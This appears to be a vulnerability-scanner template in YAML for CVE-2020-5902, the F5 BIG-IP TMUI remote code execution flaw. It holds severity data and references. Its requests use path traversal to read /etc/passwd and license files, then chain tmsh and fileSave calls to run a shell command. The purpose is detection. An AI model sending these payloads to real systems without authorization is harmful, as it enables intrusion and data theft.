92 lines
3.6 KiB
YAML
92 lines
3.6 KiB
YAML
id: CVE-2020-5902
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info:
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name: F5 BIG-IP TMUI - Remote Code Execution
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author: madrobot,dwisiswant0,ringo
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severity: critical
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description: F5 BIG-IP versions 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, and 11.6.1-11.6.5.1, the Traffic Management User Interface (TMUI), also referred to as the Configuration utility, has a Remote Code Execution (RCE) vulnerability in undisclosed pages.
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
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remediation: |
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Apply the necessary security patches or upgrade to a non-vulnerable version of F5 BIG-IP TMUI.
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reference:
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- http://packetstormsecurity.com/files/158333/BIG-IP-TMUI-Remote-Code-Execution.html
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- http://packetstormsecurity.com/files/158334/BIG-IP-TMUI-Remote-Code-Execution.html
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- http://packetstormsecurity.com/files/158366/F5-BIG-IP-TMUI-Directory-Traversal-File-Upload-Code-Execution.html
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- http://packetstormsecurity.com/files/158414/Checker-CVE-2020-5902.html
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- http://packetstormsecurity.com/files/158581/F5-Big-IP-13.1.3-Build-0.0.6-Local-File-Inclusion.html
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- https://badpackets.net/over-3000-f5-big-ip-endpoints-vulnerable-to-cve-2020-5902/
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- https://github.com/Critical-Start/Team-Ares/tree/master/CVE-2020-5902
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- https://support.f5.com/csp/article/K52145254
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- https://swarm.ptsecurity.com/rce-in-f5-big-ip/
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- https://www.criticalstart.com/f5-big-ip-remote-code-execution-exploit/
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- https://www.kb.cert.org/vuls/id/290915
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- https://nvd.nist.gov/vuln/detail/CVE-2020-5902
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2020-5902
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cwe-id: CWE-22
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epss-score: 0.97555
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epss-percentile: 0.99997
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cpe: cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*
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metadata:
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max-request: 8
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vendor: f5
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product: big-ip_access_policy_manager
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tags: cve2020,bigip,rce,kev,packetstorm,cve,f5
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http:
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- method: GET
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path:
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- "{{BaseURL}}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd"
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- "{{BaseURL}}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/f5-release"
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- "{{BaseURL}}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license"
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- "{{BaseURL}}/hsqldb%0a"
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matchers-condition: and
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matchers:
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- type: regex
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regex:
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- "root:.*:0:0:"
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- "BIG-IP release ([\\d.]+)"
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- "[a-fA-F]{5}-[a-fA-F]{5}-[a-fA-F]{5}-[a-fA-F]{5}-[a-fA-F]{7}"
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- "HSQL Database Engine Servlet"
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condition: or
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- type: status
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status:
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- 200
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- raw:
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- |
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POST /tmui/locallb/workspace/tmshCmd.jsp HTTP/1.1
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Host: {{Hostname}}
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command=create%20cli%20alias%20private%20list%20command%20bash
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- |
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POST /tmui/locallb/workspace/fileSave.jsp HTTP/1.1
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Host: {{Hostname}}
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fileName=%2Ftmp%2Fnonexistent&content=echo%20%27aDNsbDBfdzBSbGQK%27%20%7C%20base64%20-d
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- |
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POST /tmui/locallb/workspace/tmshCmd.jsp HTTP/1.1
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Host: {{Hostname}}
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command=list%20%2Ftmp%2Fnonexistent
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- |
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POST /tmui/locallb/workspace/tmshCmd.jsp HTTP/1.1
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Host: {{Hostname}}
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command=delete%20cli%20alias%20private%20list
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matchers-condition: and
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matchers:
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- type: word
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words:
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- "h3ll0_w0Rld"
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- type: status
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status:
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- 200
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# digest: 490a00463044022026b3c04f6fed9a59729537cbbc17e1015a565aaa678211a8b310a048b06cdf0202203ad960260e66d2cf213e5f2590260134d7ab9987c105396a4334911534e0a7a3:922c64590222798bb761d5b6d8e72950 |